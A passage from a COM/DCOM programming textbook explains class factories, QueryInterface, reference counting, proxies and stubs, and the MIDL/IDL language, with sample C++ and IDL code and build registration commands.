it's using a class factory. Here's the manual way of getting an interface. There's usually no reason to do this explicitly, unless you're opti- mizing the creation of interface objects. Looking at the code, however, sheds some light on what CoCreateInstance() really does. // clsid - class that implements our interface // pOuterUnk is NULL // dwClsContext is the server context // iid is the interface we're trying to create. // pUnk will be returned HRESULT CoCreateInstance( const CLSID& clsid, IUnknown *pOuterUnk, DWORKD dwClsContext, const IID& iid, 78 Chapter 6 • Understanding the Client and Server void **pUnk ) { HRESULT hr; // return NULL if we can't create object *pUnk = NULL; IClassFactory *pFac; // a required COM interface // get a pointer to special class factory interface hr = CoGetClassObject( clsid, CLSCTX_LOCAL_SERVER, NULL, IID_IClassFactory, (void**)&pFac ); if (SUCCEEDED(hr)) { // use the class factory to get // the unknown interface hr = pFac->CreateInstance(pOuterUn, iid, pUnk ); // release the factory pFac->Release(); } // pUnk points to our interface return hr; } You probably noticed that the class factory is actually a COM interface. We had to call CoCreateInstance to get the class factory interface. Once you get the interface, you call its Cre- ateInstance member. As you can see, the class factory does its job and then conveniently disappears. There may be times when you'll want to override the default factory. One example might be a server that produces a large number of interfaces. For efficiency, you would want to keep this class factory in memory until it was finished with its work. To override the default, you'll need to write a custom implemen- tation of IClassFactory. We've now explained CoCreateInstance, but we've intro- duced two new mysterious functions: CoGetClassObject() and More About Interfaces 79 Additonal Information and Updates: http://www.iftech.com/dcom CreateInstance(). CreateInstance() is a method of the COM stan- dard interface IClassFactory. It creates a generic interface which we can use to get the IBeep interface. CoGetClassObject() is a bigger problem. A proper discussion of CoGetClassObject() belongs in the server side of our COM application. For now, we can think of it as the function that locates, starts, and requests a COM class from the server. The actual code of the class factory interface is implemented by the ATL template class CoComOb- ject. CoComObject uses the macro DEFAULT_CLASSFACTORY, which implements the actual class factory. Singleton Classes ATL implements class factories through several macros. One of the more commonly used of these macros is DECLARE_CLASSFACTORY_SINGLETON. If you include this macro in your class header, the class will become a singleton. A singleton object is a class that is only created once on a server. The single instance is shared by all clients that request it. DECLARE_CLASSFACTORY The object will have standard behavior. CComCoClass uses this macro to declare the default class factory. DECLARE_CLASSFACTORY_EX(cf) Use this macro to override the default class factory. To use this you would write your own class factory that derived from CComClassFac- tory and override CreateInstance. DECLARE_CLASSFACTORY2( lic ) Controls creation through a license. Uses the CComClassFactory2 tem- plate. DECLARE_CLASSFACTORY_SINGLETON Creates a singleton object. See the discussion below. Table 6.1 Different class factory options 80 Chapter 6 • Understanding the Client and Server Singletons are a lot like global variables, in that everyone con- nected to the COM server shares them. Depending on the con- figuration of the COM server, the singleton can also be 'global' for the server computer. If your server has some shared resource that you want all clients to use, a singleton class might be a good choice. Singleton objects are a lot more complicated than they may appear. You must be very careful in your application design and recognize the possible difficulties that singletons can present. The most obvious problem with singletons is that they can easily become a resource bottleneck. Every client will have to share access to this single resource, and performance may suffer. You need to be sure the singleton object doesn't get tied up with time consuming processing. There are a host of threading problems associated with sin- gletons. Unless the object is free threaded, you're going to have threading issues. If your singleton keeps callback or connection points, it will not automatically call these interfaces on the proper thread, and you'll get errors. Despite this issue, you should probably implement your singletons as free threaded. That means you'll have to ensure that the code you write is com- pletely thread safe. Singletons also may not be unique. You often can't count on an object being the one-and-only instance of its class. This is especially true for in-process servers. In this case, the singleton isn't unique on the server computer. There will be a separate copy with each in-process DLL that gets loaded. If you're expect- ing one instance per computer, this won't work. Finally, even out-of-process (EXE) servers may have multi- ple instances. Sometimes a server can be started for multiple login accounts. This means your singleton class can experience unexpected behavior depending on which severs get started. Despite all of these caveats, there are places where a single- ton class is appropriate. In general you will create it as part of a COM server implemented as an NT service and use it on the net- work to coordinate the activites of multiple clients. More About Interfaces 81 Additonal Information and Updates: http://www.iftech.com/dcom Understanding QueryInterface Interfaces are the most important concept in COM. At its lowest level, QueryInterface is extremely important in the implementa- tion of interfaces. This function is being called behind the scenes, so we often don't see it in client programs. When using COM at the application level, we are more likely to see interfaces created through CoCreateInstance. If you delve very far into CoCreateInstance, you'll see that it is calling QueryInterface. If you start looking at the ATL generated code, you'll see that calls to QueryInterface are quite common. Although it is often hidden, it is important to understand what QueryInterface does, as well as the rules associated with it. The purpose of QueryInterface is to get an interface from a COM object. Every COM object supports at least two interfaces. The first interface is always IUnknown. The second interface is whatever useful interface the object was designed to support. Many COM objects support several useful interfaces. Once you have connected to IUnknown, you can get any of the other interfaces in a COM object. You pass in the IID of the requested interface, and QueryInterface will return a pointer to that interface. You can call any function in the given interface using that pointer. If the COM object doesn't support the requested interface, it returns the error E_NOINTERFACE. hr = CoCreateInstance( clsid, // COM class id NULL, // outer unknown CLSCTX_SERVER, // server INFO ID_IUnknown, // interface id (void**)&IUnk ); // pointer to interface if (SUCCEEDED(hr)) { IBeepDllObj *pBeep; hr=IUnk->QueryInface( IID_IbeepDllObj,(void**)&pBeep ); ... 82 Chapter 6 • Understanding the Client and Server One of the interesting things about interfaces is that Query- Interface works backwards too. If you have the IBeepObj object, you can ask it for the IUnknown interface. IUnknown *pUnk; // Query IBeep for IUnknown interface hr = pBeep->QueryInterface( IID_IUnknown,(void**)&pUnk); In fact, you can get any interface from any other interface. For example, take a COM object that supports 3 interfaces, IUn- known, IA, and IB. We can query the IUnknown for either IA or IB. We could also query IA for IB, and vice versa. Obviously, you can't query any of these interfaces for IX, which isn't supported by the COM object. Here are some of the rules of that you need to keep in mind when using QueryInterface: • All COM objects support IUnknown. If it doesn't support IUnknown, it's not a COM object. • You always get the same IUnknown interface. If you call QueryInterface multiple times for IUnknown, you will always get the same pointer. • You can get any interface of a COM object from any other interface. • There is no way to get a list of interfaces from an inter- face. (While this may sound interesting, it would be use- less.) • You can get an interface from itself. You can query inter- face IX for interface IX. • Once published, interfaces never change. • If you obtain a pointer to an interface once, you can always get it. See the previous rule. Reference Counting with AddRef and Release COM has no equivalent to the C++ "delete" keyword. Although there are several ways to create COM interfaces, there is no way More About Interfaces 83 Additonal Information and Updates: http://www.iftech.com/dcom to explicitly delete them. This is because COM objects are responsible for managing their own lifetime. COM uses the standard technique of reference counting to decide when to delete objects. The first time a client requests a specific interface, COM will automatically create a COM object that supports it. Once created, QueryInterface is called to get an interface pointer from the object. When you create an interface with CoCreateInstance or QueryInterface, AddRef is automati- cally called to increment the reference count. Each new interface increments the reference count. When Release is called, the count decrements. When the count reaches zero, that means nobody is using the object any- more. At this point the object calls "delete" on itself. Here is a fictional implementations if IUnknown and its three methods: HRESULT _stdcall CSimple::AddRef() { return m_nRefCount++;// increment count } HRESULT _stdcall CSimple::Release() { if (--m_nRefCount == 0) // decrement count { delete this;// delete self return 0; } return m_nRefCount; } HRESULT _stdcall CSimple::QueryInterface( const IID &iid, void **ppi ) { // make a copy of the "this", cast as an interface if (iid==IID_IUnknown) *ppi = static_cast< ISimple *>(this); else if (iid==IID_ISimple) *ppi = static_cast< ISimple *>(this); else { // invalid interface requested 84 Chapter 6 • Understanding the Client and Server *ppi = NULL; return E_NOINTERFACE; } // automatically increment counter static_cast<IUnknown*>(*ppi)->AddRef(); return S_OK; } As you can see, these methods don't do anything fancy. Every time a copy of the interface is made, the object increments its counter. As interfaces are released, the count decrements. When the count reaches zero, the object deletes itself. Query- Interface automatically calls AddRef, so you don't need to explic- itly call it (so does CreateInstance.) The "++" and "--" operators aren't thread safe, so this code could fail with free threaded applications. For this reason the API methods InterlockedIncrement and InterlockedDecrement are often used instead. Reference counting offers some significant advantages to the client program. It relieves the client of any knowledge of the COM object’s state. The client program's only responsibility is to call Release for each new or copied interface. Obviously, if someone forgets to call Release, the object won't be destroyed. This means it will stay around for the life of the server. Worse yet, if Release is called too often, the object will destroy itself prematurely. Here are some basic rules for when to call AddRef and Release. 1. Do not call AddRef after functions that return interface pointers, such as QueryInterface, CoCreateInstance, and CreateInstance. It has already been called. 2. Call AddRef if you make a copy of a (non-null) interface pointer. 3. Call Release once for each AddRef that is called. (See #1) Method Calls 85 Additonal Information and Updates: http://www.iftech.com/dcom Method Calls Ultimately, the result of calling QueryInterface is that we end up with an interface pointer. In the previous section, the program was able to use the interface pointer to call a function in the interface. pIf->Beep(); This code looks unremarkable. In our example code, we used an in-process server implemented as a DLL. For a DLL, call- ing a function is just a pointer away. This interface pointer is much more interesting if the server is an out-of-process server, or even a remote server. For a remote server, clearly pIf-> is not just a normal function pointer. This interface pointer can reach across process boundaries, and even the network to call its methods. When thinking about a pointer, we normally think of it con- taining a memory address. Obviously it is impossible to directly access memory across the network. The way COM gets around this limitation is rather ingenious. COM handles its client/server communication through a pair of hidden communications objects. What appears to be a pointer directly to the server is actually a pointer into a communications object known as a proxy. The proxy's purpose is to modulate the flow of data between the client and server using a process known as marshal- ing. The proxy has a counterpart class, called a stub, which han- dles the server's end of the communication. The proxy and stub are either implemented as a separate DLL or built into the server and client applications. 86 Chapter 6 • Understanding the Client and Server The client program communicates with the proxy as if it were communicating directly with the server. The proxy in turn, works closely with the stub. Together, the proxy and stub handle all communication between the client and server. The server sees its input as if it were direct from the client, and the client can call functions using a pointer as though the server were in a DLL. The proxy and stub are transparent to each side of the applica- tion. In this way, the proxy and stub hide all the details of inter- process communication. If you've ever done any communications programming, you will realize that the code hidden inside the proxy and stub is quite involved. The implementation of marshaling (which in COM means, "moving data across process or network bound- aries") is not trivial. Luckily, you don't have to write marshaling code. We're going to generate our server using MIDL, which will automatically create the Proxy and Stub. Because of MIDL, the process is completely invisible and you generally do not have to think about it. Not all COM interfaces use a proxy and stub. Some simple server models don't require any marshaling of data. Other inter- Figure 6–3 Relationship between the proxy and stub Server Application COM Object Stub Proxy Client Program Client Application Process or Network Boundries Method Calls 87 Additonal Information and Updates: http://www.iftech.com/dcom faces use a type of marshaling known as "type library" marshal- ing. These servers are commonly known as dual or "dispatch" interfaces. One of the most important features of COM is that our client application can ignore all the infrastructure required to use the interface. The generation of Proxies and Stubs and all the marshaling will be taken care by the server. Happily, we can pre- tend our interface is a simple pointer. COM hides the implemen- tation of the server from the client programmer. COM Identifiers: CLSID AND IID COM makes heavy use of GUIDs to identify items. When you call CoCreateInstance to get a specific interface, you need two pieces of information. • The COM class that implements the interface • The specific interface you wish to access These two pieces of information are uniquely specified by the CLSID and IID respectively. Getting back to the example pro- gram, take a look at the first parameter of CoCreateInstance(). It's defined as a reference to a CLSID. Now, as we stated earlier, a CLSID is a type of GUID. If you look in AFXWIN.H you'll see that GUID, IID and CLSID are all the same structure. typedef struct _GUID GUID; typedef GUID IID; typedef GUID CLSID; Here's the initialization of the CLSID and IID struct. Note that there is only 1 hex digit different, but that's enough to make the two GUID's completely unique. They're so close because they were generated at about the same time. IID iid = {0x50709330,0xF93A,0x11D0,{0xBC,0xE4,0x20,0x4C,0x4F, 0x4F,0x50,0x20}}; CLSID clsid = {0x50709331,0xF93A,0x11D0,{0xBC,0xE4,0x20,0x4C,0x4F, 0x4F,0x50,0x20}}; 88 Chapter 6 • Understanding the Client and Server From the client's point of view, the COM class isn't espe- cially important. As far as we're concerned, it's just a way to identify the server that will create our interface. If you're writing a COM Server, your perspective will be completely different. The COM Class is fundamental in the server. The IID is the unique ID, which identifies the COM inter- face. It's important to note that an interface can be implemented by several servers. For example, an interface called IFly might be implemented by a coclass called CKite , CJet, and CGull. CLSCTX -- Server Context The CLSCTX parameter defines how the server will run. The three most common forms of this parameter are: • CLSCTX_INPROC_SERVER : In-process server. The COM server is a DLL. • CLSCTX_LOCAL_SERVER : Out-of-process server. The server runs on the same machine as a separate EXE or an NT service. • CLSCTX_REMOTE_SERVER : The server runs on a remote machine as a separate EXE or an NT service. In our first examples we're using CLSCTX_INPROC_SERVER, which means the server will run as part of our client process. Commonly, a client will use CLSCTX_SERVER, which allows either INPROC_SERVER and LOCAL_SERVER. This is the client's way of saying it doesn't care how the server is implemented. Inheritance One of the accepted principals of Object Oriented programming is the concept of inheritance. C++ supports and encourages inheritance, offering a rich set of techniques for its implementa- tion. COM is often criticized because it does not support inherit- ance. This is not an oversight on the part of COM's designers, but a necessary compromise. To understand this point of view, we have to look at the design goals of COM. COM is designed to Summary 89 Additonal Information and Updates: http://www.iftech.com/dcom make components available across processes, networks, and even operating systems. This means COM has to ensure consis- tency and simplicity in components and their interfaces. Object Oriented computer languages such as C++ are designed for a different purpose. They are designed to work on a single computer, and within a single process. C++ is optimized to efficiently create complex applications. A C++ compiler never has to work across a network, or run simultaneously across dif- ferent operating systems (by this I mean more than simple net- work file access). C++ does not have built-in networking; it's just a compiler. Another related issue is stability. Because COM is distrib- uted, it needs to have a higher level of stability. Inheritance is, by definition, a very tight form of coupling. Coupling can introduce a level of instability into applications. When a base class changes, it can have severe repercussions on the classes that use it. Instability is contrary to the design principles of COM. As we've said so many times, COM is built around inter- faces. COM's answer to inheritance is interface inheritance. This means that you can inherit an interface layout, but you will have to implement the interface in your COM class. There is no spe- cial limitation on the C++ class that implements an interface, other than the fact that it must have a proper VTABLE structure. For a Visual C++ implementation, a coclass is just a C++ class, and you're free to inherit from whatever base class you desire. Summary In this chapter we have discussed a number of the details that apply “behind the scenes” to COM applications. Much of this information will make it easier to understand what is happening when a client connects to COM server, but most of these imple- mentation details are hidden. Because they are hidden these details generally do not matter, but they may matter when a COM client or server contains a bug causing a failure. See Chap- ter 16 and the error appendix for details. 90 Chapter 6 • Understanding the Client and Server S E V E N 7 An Introduction to MIDL MIDL stands for Microsoft Interface Definition Language. MIDL is a special interface 'language' and a compiler that generates, or “emits,” COM code. MIDL provides a standard way of defining COM interfaces and objects. The code generated by the MIDL compiler takes care of much of the grunt work of developing COM applications. In then next three chapters we'll look at how MIDL fits in with the COM development process. We'll also look at MIDL's capabilities and syntax, as well as how to define and use a num- ber common interfaces and their parameters. Origins of the MIDL Compiler As with much of COM, MIDL evolved from the Open Software Foundations Distributed Computing Environment, also known as DCE. The DCE way of calling procedures across networks is called RPC (Remote Procedure Calls). RPC is a useful standard, but it never became hugely popular because of implementation problems. RPCs use an interface language called IDL. MIDL is just an 'Enhancement' of the IDL language that includes Microsoft's 92 Chapter 7 • An Introduction to MIDL COM extensions. Much of the COM IDL syntax is identical to RPC , and MIDL has the capability of processing RPC definitions. COM and RPCs are actually quite closely tied together on Microsoft platforms. At a low level, COM uses RPCs as its com- munication method. This is, however, just a matter of conve- nience - COM can be implemented with almost any communication method if you are willing to write the marshaling code yourself. MIDL is a language compiler. The source files of MIDL usu- ally have the extension of "IDL". The MIDL compiler uses a syn- tax that is somewhat similar to C++, but it has a number of important extensions for COM. Unlike a traditional compiler, MIDL does not generate object code (you can't link it). The output consists of several header files and a type library. These header files will be included into a C++ program and used to create object code. In many ways, the MIDL compiler is a code generator. It's interesting to note that MIDL generates stock C++ code wired straight into the Win32 API. It doesn't use ATL or MFC. It's reasonable to ask why we need a special language for COM interfaces. After all, MIDL itself generates C++ code. The client and server will probably be implemented in a language such as C++, why can't we just use C++ syntax and write the MIDL output ourselves? To answer that question, let's look at some of the special abilities of MIDL. While it is technically pos- sible to write MIDL’s output “by hand”, it wouldn’t be much fun. Precisely Defining Interfaces with the IDL Language The level of precision required to define a COM interface is quite high. When working with remote objects you have to be very precise about how you pass data. As C++ programmers, we commonly work with function (method) calls. When dealing with functions, we don't normally use the word interface. Every C++ function is like a COM method - it has a name, a return type, and a parameter list. If you think about it, C++ header files are similar to COM interface def- initions because they expose functions to the outside world. Origins of the MIDL Compiler 93 Additonal Information and Updates: http://www.iftech.com/dcom If we're working with C++ objects, we have class defini- tions. The C++ class is roughly equivalent to a COM interface definition. In the same way a class encapsulates a group of func- tions, so does the COM interface. C++ classes are of course much richer than COM interfaces because they can define data mem- bers and public and private members. A better C++ analogue to COM interfaces is a 'struct', which defines only public members. There are several important differences between C++ classes and COM interfaces. One difference is that interfaces don't say anything about implementation. The very rough COM equivalent to a C++ object is a coclass, which behaves like an object (it can be instantiated on a server). Defining interfaces (object definitions) in C++ is relatively easy because we're working in a controlled environment. If func- tion parameters don't match, the compiler will let you know. If modules are incompatible, the linker will catch the problem. Of course, run-time errors are a lot harder to catch, but you still have extensive error handling, especially if you're testing your code in debug mode. As the caller (client) and object (server) get farther away, the communication of data becomes more problematic. DLLs, for example, require more precise definitions than local function calls. A DLL must be able to dynamically load into memory, export some of its functions, and use an agreed-upon calling standard. When the client and server are completely removed, as they are in distributed COM, there's a lot of room for miscommunica- tion. The IDL language contains a rich set of attributes that pre- cisely define the method of communication. Not only do you define objects and methods, but you explicitly describe how to transfer data. Actually, you can define COM interfaces and objects without MIDL but it requires some complex and unusual syntax. In fact, MIDL converts your IDL definitions into "C" headers. If you take a look in these automatically generated header files, you'll find a lot of compiler directives and a level of complexity you've prob- ably never seen before. 94 Chapter 7 • An Introduction to MIDL MIDL Generated Headers IDL acts as the COM 'Data Dictionary'. You write your COM defi- nitions in IDL, and run them through the MIDL compiler. MIDL takes your definitions and generates "C" and C++ language head- ers. These header files are very useful to both the client and server application. You include the MIDL generated headers for their function prototypes and 'const' definitions. The same file is included in both the client and server, ensuring that they are compatible. MIDL generates two basic types of header. The first is a standard C/C++ "H" header file. If you look in this file you'll see #include statements, #defines, typedefs, and object definitions - all the usual stuff in a header file. You also see a number of obscure compiler directives and macro's. There are also a num- ber of #ifdef's and conditional compile statements (which seem to be one of the normal characteristics of computer generated code.) Another header file, the "i.c" file, contains "C" definitions of all the GUID's used by the application. These GUID's are defined as "const" types. GUID's are quite long and difficult to type, so this header prevents a lot of mistakes. Because "const" definitions are stored as variables, MIDL puts them in a "C" module, rather that a header. Our beep server example would generate a file named "BeepServer_i.c". Unlike a normal "C" file, this file is actually intended to be included with a "#include". Automatically Generated Proxy/Stub Modules In this book we do not spend much time talking about Proxy/ Stubs and marshaling. This is because these topics are handled automatically by the MIDL compiler. You have to be aware that marshaling is going on, but you won't have to actually imple- ment it. One of the most endearing qualities of MIDL is that it writes Proxy and Stub definitions based on your IDL code. This is called "Standard Marshaling". If you write your own marshaling The IDL Language 95 Additonal Information and Updates: http://www.iftech.com/dcom it's called "Custom Marshaling". The need to use custom marshal- ing is rare in normal COM applications. The implementation can be complex and time consuming. I cover some simple marshal- ing using the CoMarshalInterThreadInterfaceInStream method call. Kraig Brockschmidt's book Inside Ole is a good reference for this topic. Automatic Creation of Type Libraries A type library is a data file that contains the description of COM objects and interfaces. In other words, a type library is the binary representation of the IDL file. Type libraries are used heavily by dual and IDispatch interfaces. The #import directive in C++ (V6 and V5) directly imports the type library, and is probably the eas- iest way to use COM in a client. Type libraries are an interesting subject unto themselves. We cover them in more detail in Chapter 9. MIDL can generate a type library for your COM application. Back in the earlier days of OLE, type libraries were generated by a utility named MKTYPLIB. MKTYPLIB used a language called ODL (Object Description Language) that looks remarkably like IDL. Actually, MIDL can quite happily process ODL source code. The IDL Language IDL is designed specifically to define all the aspects of COM communication. For C++ programmers, the syntax will be famil- iar. IDL uses "C" constructs for almost everything, but adds sev- eral COM specific attributes. Unlike C++, IDL just supports definitions. You can't actually write programs in IDL. The source files have an extension of "IDL". You can look at IDL files as the COM equivalent of ".H" files in C++. Although it's an "interface" definition language, IDL does a lot more than define interfaces. Here are some of the things you define with IDL. • COM interfaces 96 Chapter 7 • An Introduction to MIDL • Individual Interface Method (Function) definitions. • Parameters - Detailed information about how parameters are passed through COM. • COM Class definitions (coclass) • Type libraries • Types - A variety of data types The MIDL compiler can be invoked directly from a com- mand prompt: C:\> midl BeepServer.idl MIDL will process the source files and generate output. The MIDL compiler has been integrated with Version 6.0 of visual studio. This is a big change from earlier versions of Developer studio, making COM a more integrated part of the development environment. You can see the MIDL settings by opening the project settings and selecting the IDL file of your project. There is a special MIDL tab under settings. Figure 7–1 MIDL settings The IDL Language 97 Additonal Information and Updates: http://www.iftech.com/dcom In previous versions in the MIDL command was built into the “Custom Build” step of the project. When you use the ATL AppWizard to generate a project, it will include the execution of the MIDL compiler. If you want to see where the MIDL com- mand resides, do the following: 1) Click on the “FileView” tab of the workspace. Highlight the IDL source file. 2) select the “Project” menu, and look at the “settings”. The “Project Settings” dialog will be displayed. 3) Find the IDL source file under the source files, and look at its custom build tab. What you’ll see is a command under the build commands that looks like the follow- ing: midl /Oicf /h "BeepServer.h" /iid "BeepServer_i.c" "BeepServer.idl" The workspace automatically executes this command when- ever the IDL source is modified. If you're curious about the MIDL command line, there is some help available on the options. Interfaces and Methods in IDL When you start to look at IDL source code, you'll notice the sim- ilarities with C++. MIDL actually uses the C++ pre-processor to parse the source file, you'll immediately recognize that it accepts C++ style comments. The interface definition is divided into two units -- attributes and definitions. The attributes are always enclosed in square brackets. In the following example, the interface has three attributes, a uuid, a help string, and a pointer_default. The signif- icant attribute is the uuid. Uuid is the GUID that identifies this interface. The Wizards also generate a lot of help attributes like helpstring and helpcontext. The Help information is mostly used in type libraries, and is displayed by object browsers like the one in Visual Basic. // A simple interface [ uuid(36ECA947-5DC5-11D1-BD6F-204C4F4F5020), helpstring("IBeep Interface"), 98 Chapter 7 • An Introduction to MIDL pointer_default(unique) ] interface IBeep : IUnknown { }; There are a number of other interface attributes. One of these is the “dual” attribute , which means the interface supports both a custom COM interface (IUnknown), and an OLE automa- tion interface (IDispatch). Dual interfaces offer the flexibility of connecting through the early binding IUnknown interface, or a late binding IDispatch interface. See chapter 9 for a detailed dis- cussion of Dispatch interfaces. COM allows interface inheritance. All interfaces MUST implement the methods of IUnknown. The IBeep interface has IUnknown as part of IBeep's inheritance. In COM, there is no concept of public and private. Anything we can define in an interface is, by default, public. Often you will see interfaces that inherit from the IDispatch interface. These interfaces usually have the "Dual" or "oleauto- mation" attribute. Like all COM interfaces, IDispatch also inherits from IUnknown. There's nothing to stop you from inheriting from your own custom interface, as long as that interface implements IUn- known. Multiple inheritance is not allowed for IDL interfaces, but objects often do have multiple interfaces. If you really want to see multiple inheritance, you'll get plenty in ATL - in ATL inheritance is used as a mechanism to bring multiple interfaces into an object. As you get into the OLE world, you'll find there are numer- ous standard interfaces you need to implement. One typical OLE interface is IPersistFile. OLE requires that you implement this interface for several types of objects that must be able store themselves and be retrieved from disk files. This interface is well known: it's GUID (always 0000010b-0000-0000-C000- 000000000046) and methods are defined in the standard IDL files in the C++ include directories. You just have to include the inter- The IDL Language 99 Additonal Information and Updates: http://www.iftech.com/dcom face with an "import" statement. IPersistFIle is defined in "OBJIDL.IDL". The statement looks like this: import "oaidl.idl"; If you implement IPersistFile in your COM object, you'll need to include it in a COM class and implement all its methods. Remember that MIDL just provides definitions. This isn't "real" object inheritance, where you inherit all the behaviors of an interface. You're just inheriting the definitions. Let's take a look at some of the more common interface attributes. Attribute Usage Dual Supports both dispatch (IDispatch) and custom (IUn- known) interface. Custom interfaces are sometimes called VTABLE interfaces. Oleautomation The interface is compatible with OLE Automation. The parameters and return types in the interface must be auto- mation types. Uuid Associates a unique identifier (IID) with the interface. This id distinguishes the interface from all other interfaces. Version Associates a version with the interface. It looks useful but this attribute is not implemented for COM interfaces. It is valid for RPC interfaces. Pointer_default() Specifies the default pointer attributes applied to pointers in the interface. Pointer attributes can be ref, unique, and ptr. Table 7.1 Interface Attributes 100 Chapter 7 • An Introduction to MIDL Interfaces are just containers for a group of methods. An interface can have any number of methods. Here's a very simple MIDL method definition: HRESULT Beep([in] long lDuration); MIDL generates a header that defines this method in the C++ code. Here's what the C++ equivalent of this statement looks like: virtual HRESULT _stdcall Beep(/*[in]*/ long lDura- tion); As you can see, attributes have no equivalent in C++. The attributes are retained in C++ headers as comments. While it may not be used in the C++ headers, the attributes are very important for other aspects of the code generation. In this case MIDL used the "[in]" attribute to produce marshaling code which transfers a variable of type "long" to the server. The return code of a COM method is almost always an HRESULT. The two well-known exceptions to this rule are the methods of IUnknown - AddRef() and Release(). The return val- ues for AddRef and Release are used only for debugging refer- ence counting problems. See chapter 4, chapter 16 and the error appendix for more information on HRESULTs. There are only a few method attributes you are likely to see. These attributes are all associated with Dispatch interfaces. The most common is the “ID” attribute, used to specify the dispatch ID. The Component Class in IDL A COM class definition is called a coclass, for "component class". A coclass is a top-level object in a COM object hierarchy. Here's a typical coclass definition: [ uuid(543FB20E-6281-11D1-BD74-204C4F4F5020) The IDL Language 101 Additonal Information and Updates: http://www.iftech.com/dcom ] coclass BasicTypes { [default] interface IBasicTypes; interface IMoreStuff; }; Syntactically, there's not much to a coclass definition. Each coclass has a GUID and a list of interfaces. The attribute [default] looks important, but it is intended for use by macro languages such as WordBasic. Strangely enough, a coclass can have two default interfaces - one for an outgoing interface (source), another for the incoming (sink) interface. See chapter 13 on call- backs for more information about sources and sinks. For the most part, we can ignore the default attribute. When we write source code, the coclass usually maps directly into a C++ object. There's no rule that says a coclass cor- responds to a C++ class. Actually, you can write COM definitions in "C" without any class definitions at all. However, since we're using ATL, there will be a one-to-one correspondence between the two. The C++ object will be the coclass name with a preced- ing "C". In this case it's "CBasicTypes". Here's the code generated by the ATL wizard: class ATL_NO_VTABLE CBasicTypes : public CComObjectRootEx, public CComCoClass<CBASICTYPES, &CLSID_BasicTypes, public IBasicTypes, public IMoreStuff { . . . class definition }; Notice that two of the base classes for CBasicTypes are "IBa- sicTypes" and "IMoreStuff". These are the two interfaces included in the coclass. In ATL each interface in the coclass will be included in the class definition. This means the interface will have to implement the C++ code for all the methods in both interfaces. 102 Chapter 7 • An Introduction to MIDL Another consequence of grouping interfaces in a coclass is that they share the same IUnknown interface. It's one of the fun- damental rules of COM that all interfaces in a COM class will return the same IUnknown pointer when you call QueryInter- face(). Type Libraries in IDL As we said earlier, one of the nice features of MIDL is that it automatically creates type libraries. Actually, the generation of type libraries isn't quite automatic - you have to insert a defini- tion in the IDL source. [ uuid(543FB200-6281-11D1-BD74-204C4F4F5020), version(1.0), helpstring("IdlTest 1.0 Type Library") ] library IDLTESTLib { importlib("stdole32.tlb"); importlib("stdole2.tlb"); [ uuid(543FB20E-6281-11D1-BD74-204C4F4F5020) ] coclass BasicTypes { [default] interface IBasicTypes; }; } Anything included between the curly braces of the library definition will be include in the library. In this case, the interface IBasicTypes was defined outside the library, and included in the coclass definition. MIDL will also pull in the definition of IBasic- Types in the library. MIDL will only generate proxy/stub implementations for definitions outside the library statement. Sometimes you will see MIDL Post-Processing 103 Additonal Information and Updates: http://www.iftech.com/dcom items such as interfaces defined inside the library definition. These objects will only be seen from inside the type library. The "importlib" statements are used to include the type library definitions from another type library. If a client needs these definitions, it will have to get them from the external library. In this case, the standard OLE libraries are imported. MIDL Post-Processing The ATL application wizard automatically includes the build command for the IDL file in the project. In version 4 and 5, the custom build step was responsible for invoking the MIDL com- piler. With the Version 6, the MIDL step was integrated with developer studio. The custom build is still responsible for server registration. For EXE servers, the custom build executes the server program with the ‘/RegServer’ command. Note that ‘$(TargetPath)’ and ‘$(OutDir)’ are environment variables that the build process will replace with the name and output directory of your server. Commands: "$(TargetPath)" /RegServer echo regsvr32 exec. time > "$(OutDir)\regsvr32.trg" echo Server registration done! Outputs: \$(OutDir)\regsvr32.trg For a DLL based in-process server, the registration is han- dled exclusively by REGSVR32. The build command would be as follows: regsvr32 /s /c "$(TargetPath)" The TRG file is a dummy file that’s necessary for the proper execution of the NMAKE and REGSVR32 command. This dummy file is created when the custom build step executes, and gets the 104 Chapter 7 • An Introduction to MIDL current timestamp. One of the rules of makefiles is that there is an output file for each action. The build process can then use the timestamp of this file to determine if it needs to execute the cus- tom build command. If you look in the TRG file you’ll find there isn’t anything useful there. THE POST BUILD STEP The custom build step is somewhat obsolete for registering a server. The ATL wizard still generates a custom build step, so it is the default for most projects. A better way to do this would be to add a command to the Settings/Post Build Step tab. You can remove the three commands and the dummy target (TRG) file from the custom build. Add the following to the post-build set- tings tab instead. $(TargetPath) /RegServer echo "Registration Complete" You can also automatically include the proxy/stub DLL build in this step. The following commands will build the proxy/stub, and register it using the REGSVR32 command. Once again, the post build step doesnít require a target. We’re using the ‘$(Wksp- Name)’ variable, and appending ‘PS’ to the end. You may also want to add an ‘echo’ statement to inform the user whatís hap- pening. nmake $(wkspName)PS.mk regsvr32 -s $(WkspName)PS.dll Actually, you only need to build the proxy/stub DLL when the MIDL code changes. This is true because the Proxy/Stub is only concerned with marshaling data between the client and server, and doesn’t deal with the implementation of either. This post-build processing will cause some unnecessary processing, although NMAKE is pretty good about rebuilding only what it needs. Summary 105 Additonal Information and Updates: http://www.iftech.com/dcom THE PLG FILE The PLG file is a build log. It contains the output of your build command, and can be useful when trying to diagnose build problems. The PLG file will show you the commands executed, with all their copious switches and results. Summary Thus far we've looked at the origins and capabilities of the MIDL compiler. This tool offers a very powerful way to define COM classes, interfaces, and methods. MIDL also generates a great deal of the code required to quickly build servers. MIDL is also a code generator. It automatically produces headers, proxy/stub DLL, and type libraries. In the next chapter, we'll look in detail at some of the syntax of IDL. We'll also give examples of using the most common IDL data types. 106 Chapter 7 • An Introduction to MIDL E I G H T 8 Defining and Using Interfaces There are lots of decisions to make when you're setting up COM interfaces. Not only do you have to set up the usual function parameters, but you also have to decide how COM will transfer the data. Transferring data is what COM is all about. When you're working with standard C++ programs and DLL's, you take data transfer for granted. The only real decision for a C++ program- mer is whether to pass parameters by value or to use pointers. When you're working with remote servers, the efficiency of data transfer can be of critical importance to an application. You've got to make a lot of decisions about data types, transfer methods, and interface design. MIDL gives you the tools to work with these issues. MIDL gives you a number of data types. These include the basic data types, OLE Automation types, structures, arrays and enums. Most of these map easily to the C++ types your applica- tion uses. The unfamiliar part of this process is the definition of parameter attributes. The are two basic attributes, [in] and [out], which define how COM will marshal the data. 108 Chapter 8 • Defining and Using Interfaces Base Types MIDL's base types, such as long and byte, should be immediately familiar to a C++ programmer. Base types are the fundamental data types for IDL; most other types are based on them. Most integer and char types can have a signed or unsigned attribute. The signed keyword indicates that the most significant bit of an integer variable holds the sign rather than data. If this bit is set, the number represents a negative number. The signed and unsigned attribute can apply to char, wchar_t, long, short, and small. Type Bits Description boolean 8 Can have a value of TRUE or FALSE. These states are represented by 1 and 0 